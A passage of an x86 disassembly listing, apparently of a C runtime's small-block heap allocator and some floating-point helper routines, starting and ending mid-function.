		jz	short loc_418933
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_418933
; ---------------------------------------------------------------------------


loc_418930:				; CODE XREF: sub_41866D+229j
		mov	ecx, [ebp+var_8]


loc_418933:				; CODE XREF: sub_41866D+2B9j
					; sub_41866D+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_418969
		cmp	ebx, dword_494260
		jnz	short loc_418969
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_494258
		jnz	short loc_418969
		and	dword_494260, 0


loc_418969:				; CODE XREF: sub_41866D+2E0j
					; sub_41866D+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_418971:				; CODE XREF: sub_41866D+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41866D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418976	proc near		; CODE XREF: sub_41866D+CCp
		mov	eax, dword_494264
		mov	ecx, dword_494248
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_4189B9
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_494268
		push	edi
		push	dword_49426C
		call	ds:dword_495434	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_418A09
		add	dword_494248, 10h
		mov	dword_494268, eax
		mov	eax, dword_494264


loc_4189B9:				; CODE XREF: sub_418976+11j
		mov	ecx, dword_494268
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_49426C
		lea	esi, [ecx+eax*4]
		call	ds:dword_495428	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_418A09
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_49545C	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_418A0D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_49426C
		call	ds:dword_49542C	; RtlFreeHeap


loc_418A09:				; CODE XREF: sub_418976+30j
					; sub_418976+67j
		xor	eax, eax
		jmp	short loc_418A24
; ---------------------------------------------------------------------------


loc_418A0D:				; CODE XREF: sub_418976+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_494264
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_418A24:				; CODE XREF: sub_418976+95j
		pop	edi
		pop	esi
		retn
sub_418976	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A27	proc near		; CODE XREF: sub_41866D+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_418A39:				; CODE XREF: sub_418A27+19j
		test	eax, eax
		jl	short loc_418A42
		shl	eax, 1
		inc	ebx
		jmp	short loc_418A39
; ---------------------------------------------------------------------------


loc_418A42:				; CODE XREF: sub_418A27+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_418A57:				; CODE XREF: sub_418A27+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_418A57
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_49545C	; VirtualAlloc
		test	eax, eax
		jnz	short loc_418A8A
		or	eax, 0FFFFFFFFh
		jmp	loc_418B1D
; ---------------------------------------------------------------------------


loc_418A8A:				; CODE XREF: sub_418A27+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_418AD0
		lea	eax, [edi+10h]


loc_418A97:				; CODE XREF: sub_418A27+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_418A97


loc_418AD0:				; CODE XREF: sub_418A27+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_418B0D
		or	[eax+4], edi


loc_418B0D:				; CODE XREF: sub_418A27+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_418B1D:				; CODE XREF: sub_418A27+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418A27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B22	proc near		; CODE XREF: sub_416ED2+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_418CD0
		test	bl, 1
		jnz	loc_418CC9
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_418CC9
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_418B99
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_418B99:				; CODE XREF: sub_418B22+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_418BE9
		cmp	ecx, 20h
		jnb	short loc_418BC5
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_418BE9
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_418BE9
; ---------------------------------------------------------------------------


loc_418BC5:				; CODE XREF: sub_418B22+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_418BE9
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_418BE9:				; CODE XREF: sub_418B22+7Dj
					; sub_418B22+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_418CB7
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_418C23
		push	3Fh
		pop	edi


loc_418C23:				; CODE XREF: sub_418B22+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_418CA5
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_418C7C
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_418C6F
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_418C6F:				; CODE XREF: sub_418B22+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_418CA1
; ---------------------------------------------------------------------------


loc_418C7C:				; CODE XREF: sub_418B22+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_418C92
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_418C92:				; CODE XREF: sub_418B22+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_418CA1:				; CODE XREF: sub_418B22+158j
		shr	edx, cl
		or	[eax], edx


loc_418CA5:				; CODE XREF: sub_418B22+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_418CBA
; ---------------------------------------------------------------------------


loc_418CB7:				; CODE XREF: sub_418B22+E5j
		mov	edx, [ebp+arg_4]


loc_418CBA:				; CODE XREF: sub_418B22+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_418E10
; ---------------------------------------------------------------------------


loc_418CC9:				; CODE XREF: sub_418B22+52j
					; sub_418B22+5Cj
		xor	eax, eax
		jmp	loc_418E13
; ---------------------------------------------------------------------------


loc_418CD0:				; CODE XREF: sub_418B22+49j
		jge	loc_418E10
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_418CFB
		push	3Fh
		pop	esi


loc_418CFB:				; CODE XREF: sub_418B22+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_418D8A
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_418D14
		push	3Fh
		pop	esi


loc_418D14:				; CODE XREF: sub_418B22+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_418D63
		cmp	esi, 20h
		jnb	short loc_418D3F
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_418D60
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_418D60
; ---------------------------------------------------------------------------


loc_418D3F:				; CODE XREF: sub_418B22+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_418D60
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_418D60:				; CODE XREF: sub_418B22+214j
					; sub_418B22+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_418D63:				; CODE XREF: sub_418B22+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_418D8A
		push	3Fh
		pop	esi


loc_418D8A:				; CODE XREF: sub_418B22+1DDj
					; sub_418B22+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_418E07
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_418DDE
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418DD1
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_418DD1:				; CODE XREF: sub_418B22+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_418E03
; ---------------------------------------------------------------------------


loc_418DDE:				; CODE XREF: sub_418B22+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418DF4
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_418DF4:				; CODE XREF: sub_418B22+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_418E03:				; CODE XREF: sub_418B22+2BAj
		shr	edx, cl
		or	[eax], edx


loc_418E07:				; CODE XREF: sub_418B22+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_418E10:				; CODE XREF: sub_418B22+1A2j
					; sub_418B22:loc_418CD0j
		push	1
		pop	eax


loc_418E13:				; CODE XREF: sub_418B22+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418B22	endp

; ---------------------------------------------------------------------------
		mov	eax, dword_494260
		test	eax, eax
		jz	locret_418EE8
		mov	ecx, dword_494258
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		push	8000h
		push	ecx
		call	ds:dword_495458	; VirtualFree
		mov	ecx, dword_494258
		mov	eax, dword_494260
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_494260
		mov	ecx, dword_494258
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_494260
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_494260
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_418E8F
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_494260


loc_418E8F:				; CODE XREF: .text:00418E84j
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_418EE1
		cmp	dword_494264, 1
		jle	short loc_418EE1
		push	dword ptr [eax+10h]
		push	0
		push	dword_49426C
		call	ds:dword_49542C	; RtlFreeHeap
		mov	eax, dword_494264
		mov	edx, dword_494268
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_494260
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416430
		add	esp, 0Ch
		dec	dword_494264


loc_418EE1:				; CODE XREF: .text:00418E93j
					; .text:00418E9Cj
		and	dword_494260, 0

locret_418EE8:				; CODE XREF: .text:00418E1Fj
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		mov	eax, dword_494264
		push	ebx
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		shl	eax, 2
		push	eax
		push	dword_494268
		call	ds:dword_495460	; IsBadWritePtr
		test	eax, eax
		jz	short loc_418F19
		or	eax, 0FFFFFFFFh
		jmp	loc_4191D6
; ---------------------------------------------------------------------------


loc_418F19:				; CODE XREF: .text:00418F0Fj
		mov	ebx, dword_494268
		xor	edi, edi
		cmp	dword_494264, edi
		mov	[ebp-38h], ebx
		mov	[ebp-20h], edi
		jle	loc_4191D4
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F35:				; CODE XREF: .text:004191CEj
		xor	edi, edi


loc_418F37:				; CODE XREF: .text:00418F33j
		mov	esi, [ebx+10h]
		push	41C4h
		push	esi
		call	ds:dword_495460	; IsBadWritePtr
		test	eax, eax
		jnz	loc_4191DB
		mov	eax, [ebx+0Ch]
		mov	[ebp-2Ch], edi
		mov	[ebp-0Ch], eax
		lea	eax, [esi+144h]
		mov	[ebp-28h], eax
		mov	eax, [ebx+8]
		add	esi, 0C4h
		mov	[ebp-14h], eax
		mov	[ebp-18h], edi
		mov	[ebp-30h], edi
		mov	[ebp-3Ch], esi
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F77:				; CODE XREF: .text:004191A7j
		xor	edi, edi


loc_418F79:				; CODE XREF: .text:00418F75j
		push	40h
		mov	[ebp-24h], edi
		mov	[ebp-1Ch], edi
		mov	[ebp-4], edi
		xor	eax, eax
		pop	ecx
		cmp	[ebp-14h], eax
		lea	edi, [ebp-13Ch]
		rep stosd
		jl	loc_419172
		push	8000h
		push	dword ptr [ebp-0Ch]
		call	ds:dword_495460	; IsBadWritePtr
		test	eax, eax
		jnz	loc_4191DF
		mov	eax, [ebp-0Ch]
		xor	ebx, ebx
		lea	edx, [eax+0FFCh]


loc_418FB9:				; CODE XREF: .text:0041904Dj
		cmp	dword ptr [edx-0FF4h], 0FFFFFFFFh
		lea	esi, [edx-0FF0h]
		jnz	loc_4191EF
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	loc_4191EF


loc_418FD5:				; CODE XREF: .text:0041903Bj
		mov	ecx, [esi]
		test	cl, 1
		mov	edi, ecx
		jz	short loc_418FF0
		dec	ecx
		cmp	ecx, 400h
		jg	loc_4191E3
		inc	dword ptr [ebp-4]
		jmp	short loc_41900C
; ---------------------------------------------------------------------------


loc_418FF0:				; CODE XREF: .text:00418FDCj
		mov	eax, ecx
		sar	eax, 4
		dec	eax
		cmp	eax, 3Fh
		jle	short loc_418FFE
		push	3Fh
		pop	eax


loc_418FFE:				; CODE XREF: .text:00418FF9j
		inc	dword ptr [ebp+eax*4-13Ch]
		lea	eax, [ebp+eax*4-13Ch]


loc_41900C:				; CODE XREF: .text:00418FEEj
		cmp	ecx, 10h
		jl	loc_4191EB
		test	cl, 0Fh
		jnz	loc_4191EB
		cmp	ecx, 0FF0h
		jg	loc_4191EB
		cmp	[ecx+esi-4], edi
		lea	eax, [ecx+esi]
		jnz	loc_4191E7
		mov	esi, eax
		cmp	esi, edx
		jb	short loc_418FD5
		jnz	loc_4191E7
		add	edx, 1000h
		inc	ebx
		cmp	ebx, 8
		jl	loc_418FB9
		mov	esi, [ebp-28h]
		mov	eax, [ebp-4]
		cmp	[esi], eax
		jnz	loc_4191F3
		and	dword ptr [ebp-8], 0
		lea	eax, [ebp-13Ch]
		mov	[ebp-4], eax


loc_41906E:				; CODE XREF: .text:00419166j
		mov	eax, [esi+4]
		and	dword ptr [ebp-10h], 0
		lea	edi, [esi+8]
		mov	edx, esi
		cmp	eax, esi
		mov	[ebp-34h], edx
		jz	loc_41913A


loc_419085:				; CODE XREF: .text:00419107j
		mov	ebx, [ebp-4]
		mov	ecx, [ebp-10h]
		cmp	ecx, [ebx]
		jz	short loc_41910D
		mov	ecx, [ebp-0Ch]
		cmp	eax, ecx
		jb	loc_419203
		add	ecx, 8000h
		cmp	eax, ecx
		jnb	loc_419203
		mov	ecx, eax
		and	cx, 0F000h
		add	ecx, 0Ch
		lea	edx, [ecx+0FF0h]
		cmp	ecx, edx
		jz	loc_4191F7


loc_4190C0:				; CODE XREF: .text:004190CDj
		cmp	ecx, eax
		jz	short loc_4190CF
		mov	ebx, [ecx]
		and	ebx, 0FFFFFFFEh
		add	ecx, ebx
		cmp	ecx, edx
		jnz	short loc_4190C0


loc_4190CF:				; CODE XREF: .text:004190C2j
		cmp	ecx, edx
		jz	loc_4191F7
		mov	ecx, [eax]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		jle	short loc_4190E5
		push	3Fh
		pop	ecx


loc_4190E5:				; CODE XREF: .text:004190E0j
		cmp	ecx, [ebp-8]
		jnz	loc_4191FB
		mov	ecx, [ebp-34h]
		cmp	[eax+8], ecx
		jnz	loc_4191FF
		inc	dword ptr [ebp-10h]
		mov	edx, eax
		mov	eax, [eax+4]
		mov	[ebp-34h], edx
		cmp	eax, esi
		jnz	loc_419085


loc_41910D:				; CODE XREF: .text:0041908Dj
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_41913A
		mov	ecx, [ebp-8]
		cmp	ecx, 20h
		jge	short loc_41912A
		mov	eax, 80000000h
		shr	eax, cl
		or	[ebp-24h], eax
		or	[ebp-2Ch], eax
		jmp	short loc_41913A
; ---------------------------------------------------------------------------


loc_41912A:				; CODE XREF: .text:00419119j
		add	ecx, 0FFFFFFE0h
		mov	eax, 80000000h
		shr	eax, cl
		or	[ebp-1Ch], eax
		or	[ebp-18h], eax


loc_41913A:				; CODE XREF: .text:0041907Fj
					; .text:00419111j ...
		cmp	[edx+4], esi
		jnz	loc_41920B
		mov	ecx, [ebp-4]
		mov	eax, [ebp-10h]
		cmp	eax, [ecx]
		jnz	loc_41920B
		cmp	[edi], edx
		jnz	loc_419207
		inc	dword ptr [ebp-8]
		add	dword ptr [ebp-4], 4
		cmp	dword ptr [ebp-8], 40h
		mov	esi, edi
		jl	loc_41906E
		mov	esi, [ebp-3Ch]
		mov	ebx, [ebp-38h]


loc_419172:				; CODE XREF: .text:00418F92j
		mov	eax, [ebp-24h]
		cmp	eax, [esi-80h]
		jnz	loc_41920F
		mov	eax, [ebp-1Ch]
		cmp	eax, [esi]
		jnz	loc_41920F
		add	dword ptr [ebp-0Ch], 8000h
		add	dword ptr [ebp-28h], 204h
		shl	dword ptr [ebp-14h], 1
		inc	dword ptr [ebp-30h]
		add	esi, 4
		cmp	dword ptr [ebp-30h], 20h
		mov	[ebp-3Ch], esi
		jl	loc_418F77
		mov	eax, [ebp-2Ch]
		cmp	eax, [ebx]
		jnz	short loc_419213
		mov	eax, [ebp-18h]
		cmp	eax, [ebx+4]
		jnz	short loc_419213
		add	ebx, 14h
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	[ebp-38h], ebx
		cmp	eax, dword_494264
		jl	loc_418F35


loc_4191D4:				; CODE XREF: .text:00418F2Dj
		xor	eax, eax


loc_4191D6:				; CODE XREF: .text:00418F14j
					; .text:00419216j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4191DB:				; CODE XREF: .text:00418F48j
		push	0FFFFFFFEh
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_4191DF:				; CODE XREF: .text:00418FA8j
		push	0FFFFFFFCh
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_4191E3:				; CODE XREF: .text:00418FE5j
		push	0FFFFFFFAh
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_4191E7:				; CODE XREF: .text:00419031j
					; .text:0041903Dj
		push	0FFFFFFF8h
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_4191EB:				; CODE XREF: .text:0041900Fj
					; .text:00419018j ...
		push	0FFFFFFF9h
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_4191EF:				; CODE XREF: .text:00418FC6j
					; .text:00418FCFj
		push	0FFFFFFFBh
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_4191F3:				; CODE XREF: .text:0041905Bj
		push	0FFFFFFF7h
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_4191F7:				; CODE XREF: .text:004190BAj
					; .text:004190D1j
		push	0FFFFFFF5h
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_4191FB:				; CODE XREF: .text:004190E8j
		push	0FFFFFFF4h
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_4191FF:				; CODE XREF: .text:004190F4j
		push	0FFFFFFF3h
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_419203:				; CODE XREF: .text:00419094j
					; .text:004190A2j
		push	0FFFFFFF6h
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_419207:				; CODE XREF: .text:00419153j
		push	0FFFFFFF1h
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_41920B:				; CODE XREF: .text:0041913Dj
					; .text:0041914Bj
		push	0FFFFFFF2h
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_41920F:				; CODE XREF: .text:00419178j
					; .text:00419183j
		push	0FFFFFFF0h
		jmp	short loc_419215
; ---------------------------------------------------------------------------


loc_419213:				; CODE XREF: .text:004191B2j
					; .text:004191BAj
		push	0FFFFFFEFh


loc_419215:				; CODE XREF: .text:004191DDj
					; .text:004191E1j ...
		pop	eax
		jmp	short loc_4191D6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_419218(int,int,double,int)

sub_419218	proc near		; CODE XREF: sub_415D9B+51p
					; sub_415EF3+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_4361C8, 0
		jnz	short loc_41924D
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_4198D1
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41924D:				; CODE XREF: sub_419218+Aj
		push	0FFFFh
		mov	dword_4927F4, 21h
		push	[ebp+arg_C]
		call	sub_419BA8
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_419218	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	qword ptr [ebp+0Ch]
		fadd	qword ptr [ebp+14h]
		cmp	dword_4361C8, 0
		fstp	qword ptr [ebp-8]
		jnz	short loc_4192AC
		push	dword ptr [ebp+1Ch]
		fld	qword ptr [ebp-8]
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		fld	qword ptr [ebp+14h]
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		fld	qword ptr [ebp+0Ch]
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		push	dword ptr [ebp+8]
		push	1
		call	sub_4198D1
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4192AC:				; CODE XREF: .text:00419280j
		push	0FFFFh
		mov	dword_4927F4, 21h
		push	dword ptr [ebp+1Ch]
		call	sub_419BA8
		fld	qword ptr [ebp-8]
		pop	ecx
		pop	ecx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4192CA(int,int,double,double,int)

sub_4192CA	proc near		; CODE XREF: sub_415D9B:loc_415E5Ep
					; sub_415EF3:loc_415FB6p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_4196BA
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419308
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_419407
		add	esp, 18h


loc_419308:				; CODE XREF: sub_4192CA+1Aj
		push	[ebp+arg_0]
		call	sub_4199A4
		cmp	dword_4361C8, 0
		pop	ecx
		jnz	short loc_419346
		test	eax, eax
		jz	short loc_419346
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
